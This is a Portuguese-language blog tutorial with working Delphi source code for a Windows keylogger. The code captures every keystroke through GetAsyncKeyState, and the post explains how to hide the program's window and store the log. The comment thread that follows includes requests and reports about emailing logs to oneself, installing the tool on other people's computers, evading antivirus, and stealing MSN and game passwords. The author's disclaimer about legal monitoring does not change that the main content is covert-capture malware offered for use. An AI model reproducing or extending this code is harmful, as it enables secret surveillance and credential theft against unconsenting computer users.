Dica: Como criar um keylogger! (em Delphi)
por Marcos Elias
Essa dica de Delphi é muuuuito boa! Um tempão atrás disso... Finalmente achei algo significante... Use por sua conta e risco!!!
Um método fácil de capturar TUDO O QUE É DIGITADO no computador com Windows, ou seja, um método fácil de criar um keylogger. É uma dica de programação, portanto não é para qualquer um. Uso o Borland Delphi 7, deve funcionar em diversas outras versões também...
Como é avançada, apesar de relativamente fácil, não vou comentar muito, ok?! Se você tiver dúvidas, comentários ou sugestões deixe um comentário neste post, e NÃO me envie e-mails perguntando porque não tenho tempo para responder sobre programação ou coisas avançadas.
Inicie o Delphi e crie um novo projeto. Insira um Memo e um Timer.
No código, defina a seguinte função:
function Coloca(txt: String): String;
begin
Form1.Memo1.Text := Form1.Memo1.Text + txt;
end;
E coloque no evento Timer do temporizador:
procedure TForm1.Timer1Timer(Sender: TObject);
var
keyloop, KeyResult : Integer;
begin
keyloop := 0;
repeat
KeyResult := GetAsyncKeyState(keyloop);
if KeyResult = -32767 then
begin
case keyloop of
8: Coloca(' [BACKSPACE] ');
9: Coloca(' [TAB] ');
12: Coloca(' [ALT] ');
13: Coloca(' [ENTER] ');
16: Coloca(' [SHIFT] ');
17: Coloca(' [CONTROL] ');
18: Coloca(' [ALT] ');
20: Coloca(' [CAPS LOCK] ');
21: Coloca(' [PAGE UP] ');
27: Coloca(' [ESC] ');
33: Coloca(' [PAGE UP] ');
34: Coloca(' [PAGE DOWN] ');
35: Coloca(' [END] ');
36: Coloca(' [HOME] ');
37: Coloca(' [SETA ESQUERDA] ');
38: Coloca(' [SETA ACIMA] ');
39: Coloca(' [SETA DIREITA] ');
40: Coloca(' [SETA ABAIXO] ');
45: Coloca(' [INSERT] ');
46: Coloca(' [DEL] ');
91: Coloca(' [WIN ESQUERDA] ');
92: Coloca(' [WIN DIREITA] ');
93: Coloca(' [MENU POP-UP] ');
96: Coloca('0');
97: Coloca('1');
98: Coloca('2');
99: Coloca('3');
100: Coloca('4');
101: Coloca('5');
102: Coloca('6');
103: Coloca('7');
104: Coloca('8');
105: Coloca('9');
106: Coloca(' [NUM *] ');
107: Coloca(' [NUM +] ');
109: Coloca(' [NUM -] ');
110: Coloca(' [NUM SEP. DECIMAL] ');
111: Coloca(' [NUM /] ');
112: Coloca(' [F1] ');
113: Coloca(' [F2] ');
114: Coloca(' [F3] ');
115: Coloca(' [F4] ');
116: Coloca(' [F5] ');
117: Coloca(' [F6] ');
118: Coloca(' [F7] ');
119: Coloca(' [F8] ');
120: Coloca(' [F9] ');
121: Coloca(' [F10] ');
122: Coloca(' [F11] ');
123: Coloca(' [F12] ');
144: Coloca(' [NUM LOCK] ');
186: Coloca('Ç');
187: Coloca('=');
188: Coloca(',');
189: Coloca('-');
190: Coloca('.');
191: Coloca(';');
192: Coloca(' [APÓSTROFO] ');
193: Coloca('/');
194: Coloca(' [NUM PONTO] ');
219: Coloca('´');
220: Coloca(']');
221: Coloca('[');
222: Coloca('~');
226: Coloca('\');
else
if (KeyLoop >= 65) and (keyloop <= 90) then
Coloca(Chr(keyloop));
if (keyloop >= 32) and (keyloop <= 63) then
Coloca(Chr(keyloop));
//numpad keycodes
if (keyloop >= 96) and (keyloop <= 110) then
Coloca(Chr(keyloop));
end;
end; //case;
inc(keyloop);
until keyloop = 255;
end;
ah sim, ia esquecendo.. coloque o interval do timer para "1"... senão ficará difícil captar neh.. rs
e ++:
é bom dxar o memo desabilitado (com a propriedade Enabled := False), pq se vc digitar nele, irá aparecer o q vc digitou naturalmente MAIS o q o Timer fica adicionando a ele, e ficará repedito e confuso..
Então... Rode o programa (tecle F9).
Tecle qualquer coisa no teclado e observe! Isso funciona mesmo se sua janela não estiver ativa (digo, se estiver por trás das outras ou ocultas). Keylogger que se preze... Não fica em janela!
Oculte-o como preferir, e salve o conteúdo do Memo onde quiser. Aí é com você...
Dica: para ocultar o programa, digite Application.ShowMainForm := False, no código-fonte do projeto, depois do Application.Initialize e antes do Application.CreateForm... Mas aí você deverá ter criado um método para recuperar o que foi digitado, né?!
Adapte o programa como você quiser, afinal aqui apenas mostrei como é possível capturar o que foi digitado. Lembre-se de que ele poderá ser fechado pelo Gerenciador de tarefas do Windows, através da guia "Processos".
deixo claro que esse código realmente "funciona", eu testei e coloquei algumas coisas a mais. eh soh adaptar ao q vc quer fazer!
UM KEYLOGGER PODE SER VISTO COMO UM PROGRAMA DO MAL, QUE COLETA DADOS DO USUÁRIO SEM O CONSENTIMENTO DESTE, E ENVIA AS INFORMAÇÕES COLETADAS PARA ALGUM HACKER OU PESSOA DO MAL. MAS ESSE MESMO KEYLOGGER PODE SER USADO PARA IDENTIFICAR O FUNCIONÁRIO QUE ZÔA NOS COMPUTADORES DA EMPRESA, PARA VER O QUE SUA FILHA DE 10 ANOS TECLA NO MSN, ETC. NOTE QUE PODE SER DE USO PROIBIDO EM ALGUNS PAÍSES. EM OUTROS, O MAIS COMUM, PARA SER CONSIDERADO UM SOFTWARE LEGAL ELE DEVE INFORMAR QUE O SISTEMA ESTÁ SENDO MONITORADO. EM EMPRESAS, POR EXEMPLO, OS FUNCIONÁRIOS DEVEM USAR OS COMPUTADORES PARA FINS DA EMPRESA, NUNCA COMO USO PESSOAL. ISSO DEVE SER DEIXADO BEM CLARO EM CONTRATO.
NÃO ME RESPONSABILIZO POR NADA QUE POSSA ACONTECER DEVIDO O USO DESTES CÓDIGOS AQUI APRESENTADOS. USE COM CONSCIÊNCIA E RESPONSABILIDADE, SEMPRE.
Nada como uma dica dessas comemorando esse UM ANO do Explorando!
Aviso: Os comentários săo postados pelos visitantes do site, e năo expressam a opiniăo da produçăo. Eventuais comentários indesejados, ofensivos ou que firam nossas políticas ou interesses de alguma forma poderăo ser removidos sem aviso prévio. Ao comentar, seu IP será gravado em log, assim como em praticamente todo blog. Evite comentários inúteis. Para dúvidas, poste na comu.
95 comentários
si vc puder resolver meu problema comunique me
philbeR_marlon@hotmail.com
Exemplo:
function ColocaTxt(txt: String): String;
begin
Memo1.Text := Memo1.Text + txt;
end;
basta colocar um TMemo de nome "Memo1". Use um Timer para salvá-lo de tempo em tempo... No evento onTimer do Timer, coloque algo como:
Memo1.Lines.SaveToFile(ExtractFilePath(ParamStr(0))+'teste.txt');
Aí eh com vcs...
Eu sei q vc ta explicando Delphi mas ainda nao aprendi no curso q to fazendo. Sei q o Delphi e o Pascal Orientado a Objeto mas nao consegui enterpretar corretamente seu keylloger para Pascal.
Agradeço c puder ajudar.
xD
Sugiro q vc procure um tutorial básico de Delphi se vc nunca mexeu com ele... Ele é um ambiente de programação, não é para qqer um. Essa dica tem como foco pessoas que já saibam usar um pouquinho pelo menos o Delphi.
1-como pode fazer um kl tão sux desse jeito e ter coragem de postar aqui?
2-como deixou de explicar o smtp para poder enviar o save do memo para o email?
3-não vai nem dizer que o kl deve estar com o: "Application.ShowMainForm := false;"?
mais pesso so mais uma ajuda!! aonde q posso arrumar o delphi para download?? poderia ser qualquer versão?!
n to consiguino faze.. primera vez q mexo com delphi :~
Vlw :/
O artigo foi escrito para quem já está familiarizado com o Delphi.
+ como vo istuda ele? eh meio complicado :/
:(
Mas msm sem pagar dah pra aprender mta coisa, pesquise sobre delphi no Google, tem várias dicas e tutoriais.. Pegue algo do começo, dps q tiver noções básicas de como ele funciona e como criar programinhas básicos para Windows, fica + fácil mexer com o keylogger ^^
eu vo levá 1 ano pra faze 1 keylogger ;s
todos q tem na net pra baxar tão com virus...
ta tenso :(
... deixando o PC LIMPO ...
a vlw :P
vo ve uq posso faze :/
se poderem me ajudar...quero aprender ..muito ..
vlw
vlww aguardo a resposta ;)
mas não sei apareceu algo parecido com isso no
meu pc outro dia quando tava na net..
com horários e sites que mexi e tudo e tudo misturado a códigos
e não me lembro se mexi em alguma coisa ou algo do tipo... O.o
sei que era parecido...
não tem nada a ver néh???
não quer dizer que pegaram as informações do meu computador???
Obs.: o histórico tenho certeza que não eraaaaaaaaa...
Se alguém poder me ajudar...
tenho certeza que é uma grande bobagem
não tem nada a ver...mas se tiver Please
respodeeee
Se você fuçou e abriu algum arquivo de algum programa como o navegador, arquivos de histórico na pasta de histórico do IE / Windows Explorer, ou de outro navegador que você venha a usar, talvez você encontrasse informações de sites que tenha mexido.
Sem ser o navegador outro programa não faria esse monitoramento, o que deixa transparecer que também pode ser algum invasor.
Seria bom passar um anti-spyware, como o SpyBot, pra ver se encontra algo :)
http://www.codegear.com/products/delphi/win32
Particularmente não gosto das versões novas do Delphi quanto à interface. Sou + o estilo Delphi 7 de ser, as novas puxaram para o estilo dos ambientes de desenvolvimento da MS.
aguardo por resposta!
Normal não é. Pode aparecer caso vc use alguma função no evento onKeyDown, onKeyPress e similares, do campo ou mesmo do form. Se tiver erro ou se a função causar um erro em tempo de execução, pode ser que seja exibida uma mensagem.
não to conseguindo mandar o log para meu email
consegui mandar para um servidor ftp que criei.
gostaria de ajuda com os componentes para mandar email pois sempre da erro.
smtp e pop3 são realmente free no caso do ig, bol etc....
qual o código da tecla?
e como apagar ao invéz de colocar(' [BACKSPACE]');:
oxy-genio@hotmail.com
conssegui faze o kl mais eu vou dar uma sugestão para vc. eh claro se vc quiser!!! com todo o respeito.
ponhe foto nas explicações!! mataria muitas duvidas de iniciantes.
eh klaro q eh soh uma sugestaum :D
como que eu faço para que ao ser finalizada a aplicação ela me envie o conteudo do Memo por email.
eu uso um pc com outras pessoas(irmãos), e sempre o pc ta com problema(vírus), ai queria saber aonde eles entram (com certeza é em sites inapropriados) para que eu posso bloquiá-los ...
[]s
Felipe
================================
se puder me envia um email (felipe_a_milagres@yahoo.com.br)
8: [red]Coloca[/red] ('[BACKSPACE]')
como arruma??
se alguem souber manda um e-mail aew pra:
alissonacioli@gmail.com
como eu coloco o Kl junto com um arquivo ??
Quer dar uma de Hacker e nem sabe o basico de Delphi... Assim não sabem C++/C, e muito menos assembly...
Povo metido que pega codigo pronto para se amostrar...
A dica esta perfeita... quem nao conseguiu rodar va estudar...
Abraço Araks!
encinano a mexe com delphi 7
e como fazer kl e source deixa indectavel e ajunta com outro arquivo bem legal
quem estive interessado mande uma resposta por email pra mim falou galera
Sera que eu adapto esse codigo para java?
puta merda... o cara não sabe nem o português.
posso imaginar o nível.
afffffffffffffffffffff
vamos estudar a nossa lingua
mas vc poderia me ajudar falando um site que encontro um keylogger para dowload ja tentei o ardamax mas o pessoal aqui da empresa persebeu, viu o realtorio e simplismente removeu ele do computador , vc sabe de um outro que posso instalar pessualmente mas que não mostre um icone na area de notficação e envie o relatorio para um e-mail programado?
se puder me responder por e-mail acho ate melhor ja que os funcionarios tambem costumam visitar este site.
valeu !
ate mais
O código é perfeito, funciona corretamente, se alguém quiser eu mando o exe já pronto,
Parabéns Marcos e obrigado por compartilhar seu conhecimento.
Você é um dos poucos a quem o texto era realmente direcionado aqui, hehe.
vou modificar pra ele capturar a tecla da maneira que fo digita (caixa alta ou caixa baixa)
tb vou adcinar a opção de mostra ele por cobinação de teclas e enviar o log por email:
tava precisando de uma coisa assim pra embutir no meu sistema...(preciso saber o que o usuario tá fazendo pra dedurar pro chefe. rsrsrsrsr)
Por favor, envie para marthian_2@hotmail.com
[Error] Unit1.pas(42): Illegal character in input file: '’' ($92)
como arrumo?
bom até...
sabendo-se que tem varias video aulas por ai, explicando direito...
mas bom até...
adicionei o código a um outro que eu tinha e agora recebo relatórios diários com textos e telas por e-mail vindos do computador alheio... hehe
Só me falta criar uma função para gravar em txt ou html e enviar por email ^^
O que eu faço?
se alguem tiver e quiser compartilhar ta ai o meu e-mail,obrigado a todos.
Eu queria saber como eu tipo descubro senha
através desses numeros e se tem como eu installar um keylogger em outro pc sem ser o meu
me informem pro aqui
:)
Por favor, preciso de ajuda.
felipe-hans@hotmail.com
Já estou nessa 'lida' por um bom tempo, mais vejo que para a criação do keylloguer estão indo pelo caminho certo.
Vale lembrar que não se deve esquecer de colocar um temporizador utilizando o componente "TTimer",para que de tempos em tempos ele lhe envie para o email o que foi captado.
para o envioao email, deve se ter um conhecimento básico de "Smtp" e possuir um email válido, com senha e user.
crie umpara o seu keylloguer...
muito bom, é isso aí,quando possuir um pouco mais de tempo, trarei algumas dicas.
eu só qeria sabeer , como ou onde baixaar os programas para fazeer o keylogger .
se tiveer como mandar a resposta pro meu email ou pro meu orkut tudo bem .
agradeço desde já .
Sim, é muito obivio que iria detecar, pois o keylogger é um virus ¬¬
Que ignorância..
Eu uso o RKFree, pois me ajudou a coneguir acesso a senha do MSN do meu primo, o AVG detectou e coloquei como exessões.
Mas assim, melhor usar algo feito por você do que pelas mãos dos outros...
(o RK é bem leve... útil se souber trabalhar com ele, o ruim é que tem coisa que ele não detecta por ser free)
mas quebra um galho...
Nem tentem a sort tenhu 2 antivirus atualizados e pagos e 1 antikeyloger
[Conteúdo removido]
(delphi 7)
Vocês tambêm podem pegar várias apostilas neste link abaixo:
http://baixa.la/arquivo/7176542
(apostilas)
E, em relação a dica do keylogger por delphi, gostei muito.
sei q ele é um programa para programadores avansados, + quero saber se há muita diferença entre ele o SAP
eu to querendo estudar algum desses, qual seria o melhor?
obrigado
Parabéns mesmo Cara, funcionou direitinho.
Agora uma dica pros iniciantes, creio que não é uam boa idéia tentar fazer um kl se não tem o mínimo conhecimento de uma linguagem de programação, não basta colar um código pronto e esperar a dominação do mundo, uma linguagem de programação não é um simples editor gráfico que você consegue manipula-lo apenas clicando nas ferramentas e as testando na imagem, pois é preciso de conhecimento e lógica básica.
flw ^^
smtps.bol.com.br/Port: ---------------????
Qual a port Do sever para a vitima?
se for necessario no fim de tudo matar o AV, dai pro pessoal que nao sabe delphi é mais facil pegar o ardamax juntar com um avkiller e abraço.
no fim ..as coisas nao sao tao simples como parecem.
tem que levar em conta os sistemas operacionais, xp, e vista pelo menos, o firewall nativo do windows e os diversos AntiVirus.resolvido isso da ate pra vender por encomenda keyloggers.
Loop
Você está correto em tudo que fez.. mostrou como fazer, avisou os perigos do uso indevido. Agora o que me surpriende é a sua paciência. Cara 98% dos caras que ficam perguntando aqui, evidenciam que não sabem NADA de programação, que querem apenas o programa para aprontar com usuários inocentes. Meu irmão parabéns por seu trabalho e pelo amor de Deus. Manda este pessoal que só quer tirar proveito ir por inferno!!! Um grande abraço
Sds.
O código é perfeito em sua execução. Ficou tão bom que eu o uso como peça de montar em outros programas que precisam deste código.
Consegui adaptar este código com um sistema de envio de emails. O firewall, mesmo atualizado, não conseguiu detectá-lo.
Achei que fosse ter dificuldades, mas mesmo eu sendo um novato em programação, e estudando apenas apostilas da net, meu programa com seu código funcionou com perfeição.
e como faço para mandar um kl???
quero hackiar uns mlk no tibia como faço para q ele receba o kl e as informação vah para meu e-mail???
Deixe seu comentário
Indicações e patrocinadores
Para ler mais artigos e dicas do site, use o menu lateral, onde você pode ver as atualizações recentes e todos os textos organizados por data de publicação, desde 2005. O Explorando tem orgulho de estar há tanto tempo no ar, sendo um dos primeiros blogs diferenciados de dicas de informática do Brasil.
Ir para a página inicial - Ir para o fórum - Ir para a comunidade no Orkut
Recomendo este cartão!
Peça o seu pela Internet: acesse o site www.megabonus.com.br
Clique em "Peça seu cartão" e forneça este Código de Indicação MegaBônus: 1170916814009
Se preferir por telefone:
4004-3000 (Capitais e Regiões Metropolitanas)
0800-7223000 (Demais Localidades)
Código de Indicação MegaBônus: 117.091.681.4009
Se você tem site ou blog, é uma ótima forma de ganhar uma renda extra, indicando para seus visitantes e assim conquistando muitos indicados. Aproveite sua capacidade de divulgação na web :)
"Todo o conteúdo deste site é de exclusiva responsabilidade de seu proprietário e idealizadores, năo apresentando qualquer vínculo com o Unicard Banco Múltiplo S/A ou com qualquer empresa do conglomerado financeiro do qual pertence. O site oficial do Cartăo MegaBônus é www.megabonus.com.br"







